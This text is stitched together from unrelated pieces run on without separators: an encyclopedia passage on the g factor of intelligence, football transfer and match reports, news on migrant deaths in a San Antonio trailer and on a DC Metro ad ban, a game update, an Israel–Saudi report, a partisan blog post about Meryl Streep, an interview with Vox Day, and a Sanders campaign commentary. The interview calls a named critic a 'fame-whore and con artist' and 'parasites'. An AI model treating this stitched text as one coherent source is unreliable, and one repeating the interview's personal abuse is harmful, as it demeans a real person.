emotional stability .09 The same meta-analysis found a correlation of .20 between self-efficacy and g.[119][120][121] Some researchers have argued that the associations between intelligence and personality, albeit modest, are consistent. They have interpreted correlations between intelligence and personality measures in two main ways. The first perspective is that personality traits influence performance on intelligence tests. For example, a person may fail to perform at a maximal level on an IQ test due to his or her anxiety and stress-proneness. The second perspective considers intelligence and personality to be conceptually related, with personality traits determining how people apply and invest their cognitive abilities, leading to knowledge expansion and greater cognitive differentiation.[119][122] Creativity Edit Some researchers believe that there is a threshold level of g below which socially significant creativity is rare, but that otherwise there is no relationship between the two. It has been suggested that this threshold is at least one standard deviation above the population mean. Above the threshold, personality differences are believed to be important determinants of individual variation in creativity.[123][124] Others have challenged the threshold theory. While not disputing that opportunity and personal attributes other than intelligence, such as energy and commitment, are important for creativity, they argue that g is positively associated with creativity even at the high end of the ability distribution. The longitudinal Study of Mathematically Precocious Youth has provided evidence for this contention. It has showed that individuals identified by standardized tests as intellectually gifted in early adolescence accomplish creative achievements (for example, securing patents or publishing literary or scientific works) at several times the rate of the general population, and that even within the top 1 percent of cognitive ability, those with higher ability are more likely to make outstanding achievements. The study has also suggested that the level of g acts as a predictor of the level of achievement, while specific cognitive ability patterns predict the realm of achievement.[125][126]
Challenges Edit
Gf-Gc theory Edit Main article: Fluid and crystallized intelligence Raymond Cattell, a student of Charles Spearman's, rejected the unitary g factor model and divided g into two broad, relatively independent domains: fluid intelligence (Gf) and crystallized intelligence (Gc). Gf is conceptualized as a capacity to figure out novel problems, and it is best assessed with tests with little cultural or scholastic content, such as Raven's matrices. Gc can be thought of as consolidated knowledge, reflecting the skills and information that an individual acquires and retains throughout his or her life. Gc is dependent on education and other forms of acculturation, and it is best assessed with tests that emphasize scholastic and cultural knowledge.[2][45][127] Gf can be thought to primarily consist of current reasoning and problem solving capabilities, while Gc reflects the outcome of previously executed cognitive processes.[128] The rationale for the separation of Gf and Gc was to explain individuals' cognitive development over time. While Gf and Gc have been found to be highly correlated, they differ in the way they change over a lifetime. Gf tends to peak at around age 20, slowly declining thereafter. In contrast, Gc is stable or increases across adulthood. A single general factor has been criticized as obscuring this bifurcated pattern of development. Cattell argued that Gf reflected individual differences in the efficiency of the central nervous system. Gc was, in Cattell's thinking, the result of a person "investing" his or her Gf in learning experiences throughout life.[2][31][45][129] Cattell, together with John Horn, later expanded the Gf-Gc model to include a number of other broad abilities, such as Gq (quantitative reasoning) and Gv (visual-spatial reasoning). While all the broad ability factors in the extended Gf-Gc model are positively correlated and thus would enable the extraction of a higher order g factor, Cattell and Horn maintained that it would be erroneous to posit that a general factor underlies these broad abilities. They argued that g factors computed from different test batteries are not invariant and would give different values of g, and that the correlations among tests arise because it is difficult to test just one ability at a time.[2][49][130] However, several researchers have suggested that the Gf-Gc model is compatible with a g-centered understanding of cognitive abilities. For example, John B. Carroll's three-stratum model of intelligence includes both Gf and Gc together with a higher-order g factor. Based on factor analyses of many data sets, some researchers have also argued that Gf and g are one and the same factor and that g factors from different test batteries are substantially invariant provided that the batteries are large and diverse.[45][131][132] Theories of uncorrelated abilities Edit Several theorists have proposed that there are intellectual abilities that are uncorrelated with each other. Among the earliest was L.L. Thurstone who created a model of primary mental abilities representing supposedly independent domains of intelligence. However, Thurstone's tests of these abilities were found to produce a strong general factor. He argued that the lack of independence among his tests reflected the difficulty of constructing "factorially pure" tests that measured just one ability. Similarly, J.P. Guilford proposed a model of intelligence that comprised up to 180 distinct, uncorrelated abilities, and claimed to be able to test all of them. Later analyses have shown that the factorial procedures Guilford presented as evidence for his theory did not provide support for it, and that the test data that he claimed provided evidence against g did in fact exhibit the usual pattern of intercorrelations after correction for statistical artifacts.[133][134] More recently, Howard Gardner has developed the theory of multiple intelligences. He posits the existence of nine different and independent domains of intelligence, such as mathematical, linguistic, spatial, musical, bodily-kinesthetic, meta-cognitive, and existential intelligences, and contends that individuals who fail in some of them may excel in others. According to Gardner, tests and schools traditionally emphasize only linguistic and logical abilities while neglecting other forms of intelligence. While popular among educationalists, Gardner's theory has been much criticized by psychologists and psychometricians. One criticism is that the theory does violence to both scientific and everyday usages of the word "intelligence." Several researchers have argued that not all of Gardner's intelligences fall within the cognitive sphere. For example, Gardner contends that a successful career in professional sports or popular music reflects bodily-kinesthetic intelligence and musical intelligence, respectively, even though one might usually talk of athletic and musical skills, talents, or abilities instead. Another criticism of Gardner's theory is that many of his purportedly independent domains of intelligence are in fact correlated with each other. Responding to empirical analyses showing correlations between the domains, Gardner has argued that the correlations exist because of the common format of tests and because all tests require linguistic and logical skills. His critics have in turn pointed out that not all IQ tests are administered in the paper-and-pencil format, that aside from linguistic and logical abilities, IQ test batteries contain also measures of, for example, spatial abilities, and that elementary cognitive tasks (for example, inspection time and reaction time) that do not involve linguistic or logical reasoning correlate with conventional IQ batteries, too.[67][135][136][137] Robert Sternberg, working with various colleagues, has also suggested that intelligence has dimensions independent of g. He argues that there are three classes of intelligence: analytic, practical, and creative. According to Sternberg, traditional psychometric tests measure only analytic intelligence, and should be augmented to test creative and practical intelligence as well. He has devised several tests to this effect. Sternberg equates analytic intelligence with academic intelligence, and contrasts it with practical intelligence, defined as an ability to deal with ill-defined real-life problems. Tacit intelligence is an important component of practical intelligence, consisting of knowledge that is not explicitly taught but is required in many real-life situations. Assessing creativity independent of intelligence tests has traditionally proved difficult, but Sternberg and colleagues have claimed to have created valid tests of creativity, too. The validation of Sternberg's theory requires that the three abilities tested are substantially uncorrelated and have independent predictive validity. Sternberg has conducted many experiments which he claims confirm the validity of his theory, but several researchers have disputed this conclusion. For example, in his reanalysis of a validation study of Sternberg's STAT test, Nathan Brody showed that the predictive validity of the STAT, a test of three allegedly independent abilities, was almost solely due to a single general factor underlying the tests, which Brody equated with the g factor.[138][139] Flynn's model Edit James Flynn has argued that intelligence should be conceptualized at three different levels: brain physiology, cognitive differences between individuals, and social trends in intelligence over time. According to this model, the g factor is a useful concept with respect to individual differences but its explanatory power is limited when the focus of investigation is either brain physiology, or, especially, the effect of social trends on intelligence. Flynn has criticized the notion that cognitive gains over time, or the Flynn effect, are "hollow" if they cannot be shown to be increases in g. He argues that the Flynn effect reflects shifting social priorities and individuals' adaptation to them. To apply the individual differences concept of g to the Flynn effect is to confuse different levels of analysis. On the other hand, according to Flynn, it is also fallacious to deny, by referring to trends in intelligence over time, that some individuals have "better brains and minds" to cope with the cognitive demands of their particular time. At the level of brain physiology, Flynn has emphasized both that localized neural clusters can be affected differently by cognitive exercise, and that there are important factors that affect all neural clusters.[140] Other criticisms Edit Perhaps the most famous critique of the construct of g is that of the paleontologist and biologist Stephen Jay Gould, presented in his 1981 book The Mismeasure of Man. He argued that psychometricians have fallaciously reified the g factor as a physical thing in the brain, even though it is simply the product of statistical calculations (i.e., factor analysis). He further noted that it is possible to produce factor solutions of cognitive test data that do not contain a g factor yet explain the same amount of information as solutions that yield a g. According to Gould, there is no rationale for preferring one factor solution to another, and factor analysis therefore does not lend support to the existence of an entity like g. More generally, Gould criticized the g theory for abstracting intelligence as a single entity and for ranking people "in a single series of worthiness", arguing that such rankings are used to justify the oppression of disadvantaged groups.[38][141] Many researchers have criticized Gould's arguments. For example, they have rejected the accusation of reification, maintaining that the use of extracted factors such as g as potential causal variables whose reality can be supported or rejected by further investigations constitutes a normal scientific practice that in no way distinguishes psychometrics from other sciences. Critics have also suggested that Gould did not understand the purpose of factor analysis, and that he was ignorant of relevant methodological advances in the field. While different factor solutions may be mathematically equivalent in their ability to account for intercorrelations among tests, solutions that yield a g factor are psychologically preferable for several reasons extrinsic to factor analysis, including the phenomenon of the positive manifold, the fact that the same g can emerge from quite different test batteries, the widespread practical validity of g, and the linkage of g to many biological variables.[38][39][142] John Horn and John McArdle have argued that the modern g theory, as espoused by, for example, Arthur Jensen, is unfalsifiable, because the existence of a common factor like g follows tautologically from positive correlations among tests. They contrasted the modern hierarchical theory of g with Spearman's original two-factor theory which was readily falsifiable (and indeed was falsified).[31]
See also Edit
Mexican goalkeeper Guillermo Ochoa is reportedly high on Sevilla's shortlist this summer.
As the domestic season draws to a close, agents and coaches begin to look ahead to the summer and what business they can conclude.
The European Championships, Copa America and later the Olympic games is likely to have an impact on the timing of transfers.
Malaga have already started work on their off-season business with sporting director Francesc Arnau having closed deals for Jonny and Michael Santos.
However the club may well lose players this summer and the most high-profile exit could well be that of goalkeeper Guillermo Ochoa.
MARCA understands that Sevilla hold a significant interest in the Mexican stopper and that said interest is so strong, Malaga is already aware of Sevilla's plans.
In public Sevilla are not necessarily looking for a goalkeeper however it is believed Sergio Rico will be sold this summer with the young Spanish keeper having suitors in the Premier League.
Should Rico leave and Ochoa arrive, the plan would be to have David Soria take the starting position and Ochoa be a reliable backup.
His contract with Malaga is set to expire in June 2017 so this summer would be the club's last opportunity to cash in on an asset they signed for nothing two years ago.
Ochoa leaving would also free up a vitally important non-EU player slot in Malaga's squad.
The Mexican is nonetheless believed to be very comfortable in Malaga and is aware that his playing time in Seville would likely be restricted to European competition.
Given the necessity to sell Rico first, it is likely that once a deal is agreed between the two clubs, the transfer wouldn't go through until after the European Championships.
Malaga face a stressful start to their summer with 11 of their players seeing their contracts expire in June.
Update 4:00 p.m.: Officials with the Department of Justice Western District of Texas reported the number of deaths from this incident rose to nine. The deceased victims have only been identified as adult males. All other information about the illegal immigrants is being withheld pending notification of family members.
The total count of people being smuggled in the trailer also rose to 39. Officials stated that police found another individual hiding in the woods near the trailer parked in the Walmart parking lot.
The U.S. Attorney’s office in San Antonio identified the driver as James Mathew Bradley, Jr., 60. He is a Clearwater, Florida, resident. Bradley is in custody pending charges expected to be filed on Monday. He is also expected to appear in court Monday morning.
The air conditioner was not working in the trailer. Many of those found had heart rates of over 130 beats per minute and suffered from heat stroke. More causalities are expected, officials stated. Thirty-eight people were in the trailer. Two of those were school age children. In total, police found 38 people in and around the trailer.
Police apprehended the driver of the truck at the scene.
Walmart employees become aware of the situation after one of the aliens approached them and asked for water. Police arrived at the scene shortly after midnight Sunday morning, KENS5 reported. At least 29 fire rescue units arrived at the scene and two AirLIFE helicopters assisted in transporting the most critically ill patients.
Others in the trailer survived long enough to be rescued and taken to a local hospital. Those included two 15-year-old juveniles.
Surveillance cameras showed a number of automobiles coming to pick up persons in the trailer. Authorities suspect a human smuggling operation.
Officials in San Antonio said that they are working with the U.S. Department of Homeland Security.
Breitbart Texas obtained a statement from U.S. Attorney Richard L. Durbin, Jr. with the U.S. Attorney’s Office, Western District of Texas. Durbin said:
San Antonio firefighters and police responded to a horrific scene this morning on the southwest side of town. They discovered an alien smuggling venture gone horribly wrong. Eight immigrants were found dead. At least twenty more were in serious condition. All were victims of ruthless human smugglers indifferent to the wellbeing of their fragile cargo. The South Texas heat is punishing this time of year. These people were helpless in the hands of their transporters. Imagine their suffering, trapped in a stifling trailer in 100-plus degree heat. The driver is in custody and will be charged. We will work with the Homeland Security Investigations and the local responders to identify those who were responsible for this tragedy.
Authorities said they would be checking nearby woods again for those who may have gotten out of the trailer on Sunday morning. They will also be reviewing surveillance tapes.
The San Antonio Fire Department released the following statement:
Shortly after 12:30AM (Central) the San Antonio Fire Department responded to 8358 IH-35 S. for a report of multiple people in the trailer portion of an 18 wheeler. First arriving units found a number of people in the back of this trailer all in varying degrees of medical distress. A total of 8 individuals were deceased upon our arrival. 17 patients were transported priority 1 (life threatening injury / illness) and 13 were transported priority 2 (not immediately life threatening). Air ambulances (AirLife), and the SAFD Ambus (mobile mass casualty transportation vehicle) were also both utilized to transport the multitude of patients we encountered. A search of the surrounding area was also conducted to attempt to locate any patients that may have attempted to flee the scene. An additional search will be conducted later this morning once the sun has risen. All questions relating to the potential criminal aspect of this should be directed to the San Antonio Police Department.
Police Chief William McManus says “This happens all the time,” and “This is not an isolated incident.”
Ten days earlier, Houston police officers discovered 12 illegal aliens locked inside a trailer in the sweltering heat of the Texas summer, Breitbart Texas reported. Officials stated the migrants told them they had been banging on the walls of the trucks for hours to get someone to release them.
Harris County District Attorney’s Office First Assistant Tom Berg said, “Thirty more minutes and this could have been a dozen homicide cases.”
Editor’s Note: This is a developing story and will be updated as new information becomes available. Initial reports indicated that two children were among the dead. Police officials later confirmed the children survived. This article has been updated to reflect that new information.
The mass transit authority that oversees commuter buses and trains in the nation’s capital is banning issue-oriented ads for the remainder of the year after receiving an ad proposal featuring a cartoon of Muhammad, Islam’s central figure.
The cartoon is a sketch by artist Bosch Fawstin of a turban-wearing, sword-wielding man saying “You can’t draw me!” It won a "draw Muhammad" contest in Garland, Texas, that was unsuccessfully attacked by Muslim-American roommates earlier this month.
The ads would have sported a banner saying "Support Free Speech."
Pamela Geller, the activist who made the advertising request and hosted the Garland event through her group, the American Freedom Defense Initiative, says the decision is “an end run around the First Amendment.”
“These cowards may claim they are making people safer, but I submit to you the opposite,” she says. “They are making it far more dangerous for Americans everywhere. Rewarding terror with submission is defeat. Absolute and complete defeat.”
The board of the Washington Metropolitan Area Transit Authority made the decision Thursday afternoon and plans to enforce the ban until completion of a review of its policies.
Metro spokesman Mike Tolbert says the board’s vote was unanimous and that members did not specifically discuss any ad. The transit authority will consider the legal and safety issues involved in running political ads during its review, he says. It’s not immediately clear what will happen to existing ads that may be considered issue-oriented.
Without the broad ban, Washington-area officials likely would have been forced to publish the Muhammad cartoon.
Courts have repeatedly ruled in favor of Geller in her bids to display controversial ads.
In April, she won a federal court ruling that New York City’s subway system must carry anti-Hamas ads that attribute the quote "“Killing Jews is worship" to the Palestinian group. U.S. District Judge John Koeltl found no evidence the ads “would be likely to incite imminent violence.” In March, a federal judge forced Philadelphia’s mass transit system to allow ads that say “Islamic Jew-Hatred: It’s in the Quran.”
In New York, transit authorities recently banned all political advertising to ward off future controversies.
It’s unclear if opponents of such a viewpoint-neutral ban could prevail in court or if Geller will sue.
Former D.C. Council member Jim Graham, who served 12 years as a member of the Metro system’s board of directors and twice as its chairman, says he can’t recall a similar advertising suspension.
“It’s obviously a way for them to avoid this very challenging issue,” Graham says. “By stopping all ads they’re able to say they’re doing it in a way that doesn’t [target] this one ad.”
Graham says he instinctively supports people’s freedom to advertise controversial messages, recalling his fight to place HIV awareness ads in the D.C. system in the early days of the AIDS pandemic in the 1980s.
But he says current board members are “obviously in a bind because we know what happens when you criticize Muhammad, we know how some people react to that. I don’t think we ever had a situation [in the past] where someone threatened to blow up a bus."
Graham says he’s not aware of any credible threat in response to the ad, but that, “We know worldwide what has happened to others who have gone down this path.”
Many Muslims consider any visual depiction of Muhammad offensive. Artists and publishers who violate the taboo put themselves at risk of violence.
Jihadi brothers in January murdered 12 people at the Paris office of Charlie Hebdo, a satirical publication that on several occasions featured cartoons of Muhammad on its cover. Danish cartoonist Kurt Westergaard, whose cartoons launched global protests by Muslims a decade ago, survived an ax attack in 2010. Earlier this year, Swedish cartoonist Lars Vilks, who drew Muhammad’s face on the body of a dog, avoided an assassination attempt that killed an audience member at a cafe where Vilks was delivering remarks about his work.
Editorial Cartoons on the Islamic State View All 82 Images
Ibrahim Hooper, communications director for the Council on American-Islamic Relations, one of the nation’s largest Muslim organizations, and a strident critic of Geller, says he personally is outraged by the ads she proposed for Washington's transit system.
“It’s no different than neo-Nazis putting up ads with the ‘n’ word spelled out,” he says of the now-blocked ads. “You have to wonder how she looks herself in the mirror in the morning.”
Hooper says it's appropriate for the Metro system to review its rules. But if the ads did go up, he says, it's unlikely there would be violence or mass vandalism.
“This is all part of Pamela Geller’s long-running anti-Muslim hate roadshow. She goes from city to city putting up the most inflammatory ads she can possibly think of,” he says. “She gets free publicity when people are justifiably outraged. If they go up, she wins. If they are refused, she wins because she gets more publicity when she sues. She gets more free publicity when she wins because of First Amendment issues.”
“For her it’s a win-win-win situation in terms of the continuing promotion of hatred and bigotry,” he says.
Mclean netted from close range after a scramble and the goal was given despite protests from the home side that the Bantams striker had used his hand.
Earlier, Bradford's James Hanson was twice denied by Morecambe defenders.
The Shrimps came back into it and came close to a winner through Kevin Ellison's header, before Mclean sent the visitors into round two.
Morecambe manager Jim Bentley told BBC Radio Lancashire:
Media playback is not supported on this device Bentley on Morecambe v Bradford
"It was hard for us to see from the dugout. It did look like handball but that's the way the cookie crumbles.
"You've got to take it on the chin and accept that you can't affect officials and they're not always going to get it right.
Free the world from various tyrannical threats by shooting stuff in the best FPS games on PC.
Platoons are essentially clans, and are a way to help you stay in touch and play with your friends. They were first introduced in Battlefield 3 but have been reworked from scratch, with new additions to enhance their visual impact on the game. Notably, squad names will change to the platoon name once it occupies most of the slots; capture point flags will show the emblem of the platoon that contributed the most to capturing it; and platoons will sit across several Battlefield titles, so yours should be useable in Battlefield 4.
If you start your own platoon you automatically become its general, having full control of its application policy and in-game messages.
Several new class rank 10 weapon variants are also coming in the spring update. PvP Live have a great breakdown of all the new guns if you’d like to scout their potential impact on the meta – it sounds like they could shake things up quite a bit, particularly the new Selbstlader and Martini-Henry Sniper variants.
The spring update will also enable medics to notify downed teammates if you’re coming to revive them (so they don’t mash the respawn button and waste your time). New ribbons and dog tags are also incoming.
Energy Minister Yuval Steinitz said on Sunday that Israel has had covert contacts with Saudi Arabia amid common concerns over Iran, a first disclosure by a senior Israeli official of such contacts.
In an interview on Army Radio, Steinitz was asked why Israel was hiding its ties with Saudi Arabia, which does not have diplomatic ties with Israel.
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Steinitz replied: ”We have ties that are indeed partly covert with many Muslim and Arab countries, and usually (we are) the party that is not ashamed.
“It’s the other side that is interested in keeping the ties quiet. With us, usually, there is no problem, but we respect the other side’s wish, when ties are developing, whether it’s with Saudi Arabia or with other Arab countries or other Muslim countries, and there is much more ... (but) we keep it secret.”
>> When Jerusalem needs to talk to Riyadh: This Saudi newspaper is Israel's backchannel to the Arab world >>
Lt. Gen. Gadi Eisenkot, the Israeli military's chief of staff, gave an unprecedented interview with a Saudi newspaper last week in which he called Iran the "real and largest threat to region."
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It marked the first time that any senior Israel Defense Forces officer, let alone the chief of staff, has been interviewed by a media organization in Saudi Arabia.
I’ve already written about this but they just won’t shut up. I imagine I may write about it again. First Martin Sheen get’s political and now Meryl Streep is firing off. Streep would have us believe that she has entered the life of a whore, a witch, and a zombie to bring us such classics as Mama Mia, Into the Woods, and Death Becomes Her.
At the Golden Globe Awards she said “An actor’s only job is to enter the lives of people who are different from us and let you feel what that feels like.”
So according to her, her role as Donna in Mama Mia was to help us feel what it feels like to be her character… a woman who slept with at least three guys within the same week to a month and doesn’t even know which one of them is the father of her child. In Into the Woods we are supposed to feel what it feels like to be an evil witch who has lost her beauty and makes everyone suffer in a narcissistic attempt to get it back. And in Death Becomes Her we are supposed to feel what it feels like to be a murderous un-dead woman who has discovered the fountain of youth.
I am so glad that we have these people who are so in touch with reality whose only job is to enter the lives of people who are different from us and let us know what that feels like. Someone should tell her at least that witches and zombies are not real.
That night she also said, “Hollywood is crawling with outsiders and foreigners and if we kick them all out, you’ll have nothing to watch but football and mixed martial arts, which are not the arts.”
But she was born in NJ so unfortunately if all foreign actors were kicked out she would remain. And she can forget trying to act the part of an outsider. Streep was born the daughter of a pharmaceutical executive and was a cheerleader in high school for crying out loud. Not exactly what most would consider an outsider.
And for the record Donald Trump is not against outsiders or foreigners. He has good relations with Putin and Netanyahu already. And those who voted for him have felt like outsiders for quite some time. Its why we see joke memes with Trump and Putin shirtless on a horse. Its why Trump is good friends with Dennis Rodman and Gary Busey who I am sure everyone can admit is an outsider. Gary Busey said said “I know him personally. I know him professionally. He’s a great guy. He’s sharp. He’s fast. He can change the country after the last eight years” during an appearance on Fox News in September. And Rodman who tweeted back in July “@realDonaldTrump has been a great friend for many years. We don’t need another politician, we need a businessman like Mr. Trump! Trump 2016.”
Let us not take the political issue of ILLEGAL immigration and confuse it with hatred of outsiders, bullying, or racism. It is PATRIOTISM. One who takes pride in their country doesn’t stand for people coming here “undocumented” and illegally. There are proper channels and they exist for a reason.
Last week, I spoke with game designer and blogger Vox Day, who has consistently been one of the biggest supporters of Reaxxion. While best known for his popular blogs Vox Popoli and Alpha Game, Vox is also a longtime veteran of the gaming industry whose work predates the original Dreamcast. He’s also the founder of the publishing company Castalia House, for whom this author has done some minor unpaid proofreading work.
After many years, he’s returning to game design with a new company, Alpenwolf. Their first project is First Sword, a combat management game where you control a stable of gladiators in the fantasy world of Selenoth. I talked to Vox about his new game, his new 3D tabletop engine, women in gaming, and why the industry has become so social justice warrior-friendly in the past fifteen years.
Sam Roberts: Thanks for taking the time to do this interview with me. I’m sure many of our readers are familiar with you, but can you start by telling us a little about yourself and your past and current involvement in the game industry?
Vox Day: I started as a game reviewer for the St. Paul Pioneer Press. My column was picked up and syndicated nationally by Chronicle Features and ran in 13 papers across the country, including the Atlanta Journal-Constitution, the Boston Globe, and something called the North Bay Nugget. I spent two years as a card-carrying Transdimensional Evangelist selling the PC board manufacturers on supporting 3D for games rather than the 2D MPEG decompression they favored, and then started my own game development house called Fenris Wolf. I also started a music company called Power of Seven with my Psykosonik bandmates that provided music for games by Raven and Bungie.
After GT Interactive and Sega of America collapsed and took Fenris with it, I took a few years off, then got involved again on the finance side. We mostly worked with mid-to-large game publishers who wanted to smooth out their accounting. It’s tough on the books when you have to sink up to $75 million into a project and you can’t book any revenue until three years later. I did the occasional contract design for companies like THQ, and in one unusual case, 3M, but I wasn’t tempted to get back into development full-time until I met the Nordeus guys. They were young, smart, and very successful, and I realized that they were onto something new and different with their sports management game, Top Eleven.
I also realized that what they were doing in sports was something that could be done on the wargame side as well, and without needing a massive team. So, I got a few guys together, Alpenwolf was founded, and I came up with the initial design for First Sword. We’re doing some entirely new things on the gameplay side, on the technology side, and even on the business side, so I think you’ll hear more about Alpenwolf in the future.
SR: You’re working on an upcoming gladiator management game called First Sword. A year ago, you wrote on your blog that the game would have no female characters because “[w]omen cannot credibly fight as gladiators.” But a few weeks ago you announced that you’d be making a female character the face of the game. Can you tell us about this character, and what prompted this change of heart?
VD: There were two factors at work here. We had the opportunity to bring in a new partner of unusual quality whose development experience goes back to the 2.5D shooter days, but we didn’t really need him to help on the gladiator management game. It would have been a waste of his time and talent. So, what we did was expand the concept of First Sword from a simple combat management game to an entire spectrum of games ranging from physical tabletop miniatures to a 3D tabletop engine, and hand it over to him as the technical lead of everything but the combat management game.
Female gladiators were, and are, incapable of fighting with male gladiators. So, for reasons of game balance, they didn’t work in the gladiator management game any more than giving Madden’s players the ability to start a cheerleader in the quarterback position would. But they were historically used as sort of a sadistic comic relief in between regular bouts; there is just such a scene featuring two female gladiators fighting a goblin in my novel A Throne of Bones. That meant it was perfectly reasonable to have female gladiators in the tabletop game, and to offer them as miniatures.
Since we’re planning a Kickstarter campaign for First Sword, we decided that we wanted our own Lara Croft to distinguish our tabletop game from everyone else’s. Hence the character named Morwyn Shadowsong, an elf who was captured, sold to a stable, and forced to fight for her life in the arenas of Amorr. We’ll be publishing a novella about her called The Gladiator’s Song, and she will be appearing in miniature, in 3D, on the box and in various photo-shoots as well.
SR: Can you tell us more about this 3D tabletop engine?
VD: I was acquainted with Rodney Kinney, the creator of Virtual Advanced Squad Leader, and I was one of the ASLers who encouraged him to turn it into VASSAL so it could be used to play other board-and-counter games on the computer. In fact, he even ended up going with the name that I suggested to him. About eight years ago, it occurred to me that there was no reason we couldn’t do the same thing for miniature gaming that VASSAL did for board-and-counter, but I couldn’t convince the publishers that anyone would be interested in playing miniature games on the computer. But thanks to Kickstarter, it’s no longer necessary to find a publisher in order to make something like that.
With sufficient support for the First Sword campaign, we will be bringing the gladiator game as well as other miniatures games like Kings of War, Deadzone, and Traveller: Striker to the 3D tabletop. We ultimately hope to provide the 3DV engine with the same sort of modding capabilities that VASSAL enjoys, so gamers will be able to create their own miniatures, paint them, and use them on the 3D tabletop just like they do in real life.
SR: Many commentators, at our site and elsewhere, have noticed the sudden outbreak of prudishness in the gaming industry. We saw this with PAX and its ban on booth babes, even to the point of specifying a minimum length for girl’s skirts. Even Mortal Kombat, the franchise that established itself in the 1990’s through its willingness to break all the rules, is moving to “more realistic” characters with smaller breasts and thicker waists. What do you think has changed in the gaming industry in the past 20 years that’s made it so much less able to resist moral scolds?
VD: The most important change is that game development no longer belongs to the mavericks. When we started Fenris Wolf in 1993, literally everyone thought we were crazy. We were throwing away good jobs and wasting our educations to do what people considered to be the equivalent of playing with digital Lincoln Logs. Now that games are widely understood to be big business, many of the jobs pay decent salaries, and you can get degrees in “game development” and “game design,” you have considerably more risk-intolerant, conflict-avoidant people entering the industry.
Twenty years ago, the average developer would have laughed his ass off at the idea that he should design or develop anything other than whatever the hell he wanted to do. These days, there are a fair number of bed-wetters in game development who are terrified at the idea that someone, somewhere, might take offense at something in one of their games. And then, of course, you’ve also got SJWs trying to stick their noses into the industry in order to change it, just as they did in comics and science fiction & fantasy fiction.
SR: There’s been a lot of discussion lately about the “role of women in gaming.” What do you feel the role of women in gaming is? How do you feel about female players playing your games?
VD: The role of women in gaming is primarily as consumers. Contrary to the ignorant media’s take on the issue, women have been involved in every aspect of gaming from the very beginning. Scorpia was the best adventure and RPG reviewer in the industry; she and Charlotte Panther were both at CGW. Roberta Williams was a game development pioneer; my own mentor worked for her. I spent some time hanging out with Brenda Laurel at CGDC; she was doing the “games for girls” thing at Purple Moon nearly 20 years ago.
As a general rule, women prefer different games than men, just as they prefer different magazines, different movies, and different television shows. I’ve designed games intended for a female audience and I’ve designed games for male audiences. The most popular games will appeal to both sexes; the breakdown of Mario Kart for the Nintendo Wii is apparently almost right down the middle. But most women won’t play hard core wargames or twitch shooters, just as most men won’t play shopping games or fashion games. If a woman wants to play one of my games, that’s certainly fine with me. Hundreds of thousands already have. Hot Dish, from THQ, was quite popular with female players on a number of casual game sites.
SR: GamerGate has been a massive consumer revolt and it’s still going strong after 6 months. But you’re one of very few game designers to speak out in favor of it. Why do you think this is?
VD: Game developers, especially the experienced ones, pay considerably less attention to game journalists than gamers do. Most of the designers I’ve spoken to about it consider it to be just another media tempest in a teapot and ignore it. Thanks to my blog and syndicated columns, I’m a minor public figure and a controversial one at that, so it costs me nothing to speak out on the subject. Having been publicly hated by the SJWs for over a decade gives me carte blanche.
But most developers aren’t bloggers or media figures, they aren’t interested in taking flak for simply doing their jobs, and they certainly have no interest in talking to a media that would rather discuss the cup size of a female character than any of the game mechanics or other aspects of development on which they spend all their time. Most developers are quietly in favor of GamerGate. Even the artists, who tend to lean politically left, chafe at the idea of being told what they can and cannot draw.
SR: As a game developer, what are your thoughts on people like Anita Sarkeesian, with her “Tropes vs. Women” videos that purport to show that the gaming industry is biased against women, and in many cases outright hates them? Has this been your experience in the industry?
VD: Anita Sarkeesian is a fame-whore and con artist. She’s not a gamer, she doesn’t know a damn thing about the game industry, she lies shamelessly about it, and anyone who supports her is, at best, uninformed. The gaming industry is not biased against women, it is merely one of the few industries that doesn’t reflexively bow before feminist activism. If there is any bias in the industry now, it is a bias against men, given that some of the larger companies have openly embraced sexual discrimination through the “women in technology” initiatives.
SR: Lastly, looking into the future, where do you see the games industry going in five years? We’ve already seen people like Bonnie Ross trying to make major franchises like Halo more feminist-friendly. Are the Sarkeesians and their ilk going to keep making inroads towards changing the industry? If we wanted to stop this, what do you think would be the best way to do it?
VD: I see the industry continuing to fragment and the importance of large publishers receding. I expect EA to collapse within the next ten years; the recent shut-down of Maxis is the latest in a long and sordid story of the large publishers throwing away development talent and intellectual property for nothing. What’s happening at Microsoft only represents a new form of destruction-by-suit; at this point it is safe to assume the Halo franchise will eventually go the way of the Ultima, Wing Commander and SimCity franchises. It’s like a TV show: once the substitute writers replace the original team that made it successful, it’s only a matter of time before the quality goes downhill, it becomes a parody of itself, and people lose interest. As for the Sarkeesians and the other parasites, they will never stop trying to suck at the money trough. It’s what they do, it’s all they can do.
The best way to stop this is to withdraw your financial support from organizations that have decided to support the parasites and place ideology ahead of gameplay. Don’t pay them to preach to you. The best way to render their efforts irrelevant is to support the smaller studios who are focused on gameplay and pushing the design envelope, support the media sites that focus on covering the actual games, and support new development efforts like the First Sword Kickstarter we’ll be launching in May. Every time you fire up a game, you’re voting with your time and money, and every gamer counts.
The core message that Sen. Bernie Sanders (I-VT) delivered last month when he addressed Party leaders at the Summer Meeting of the Democratic National Committee entailed a lesson in electoral math, according to The Nation's John Nichols.
"Democrats will not retain the White House, will not regain the Senate or the U.S. House, will not be successful in dozens of governor races across the country," Sanders observed, "unless we generate excitement and momentum to produce a huge voter turnout."
The "electoral math" to which both Sanders and Nichols refer is the math which, they argue, is achievable during the second stage of a Sanders-led, "political revolution". That would be a phase --- once Sanders was able to secure the Democratic Party nomination and prior to the November 2016 election --- in which it would be all but impossible for the corporate-owned media and Democratic Party establishment to conceal or evade Sanders' issue-based message. Even those members of the Democratic Party whose careers have been linked to monetary contributions from what Noam Chomsky describes as "the substantial people" would, at that point, be hard-pressed to stand in the way of the revolution's momentum.
But, for now, Sanders is in the midst of the far more difficult first stage --- one that requires overcoming the corporate-owned media's marginalization of his campaign. It also entails overcoming the exercise in self-protection by the Democratic Party establishment. Long before the first vote has been cast in either a caucus or primary, the Clinton campaign boasted that its backroom deals had already netted one-fifth of the delegates needed to secure the nomination from amongst the unelected super-delegates --- party leaders who do not have to abide by the will of the electorate in their respective states. Simultaneously Rep. Debbie Wasserman-Schultz (D-FL), the DNC chair and former co-chair of the Hillary Clinton 2008 campaign, has sought to blunt Sanders' attempt to eliminate the "democracy deficit" --- the significant gap between the policy positions of the electorate and their "representatives" occasioned by the manner in which elections are skillfully managed to avoid issues and marginalize the underlying population --- with her imposition of severe limits on the number and timing of the Democratic Party Presidential Debates.
Sanders has countered those maneuvers, somewhat, by relying instead upon alternative and social media, drawing huge crowds, growing an army of grass roots volunteers and, most importantly, offering both authenticity and substance in his campaign.
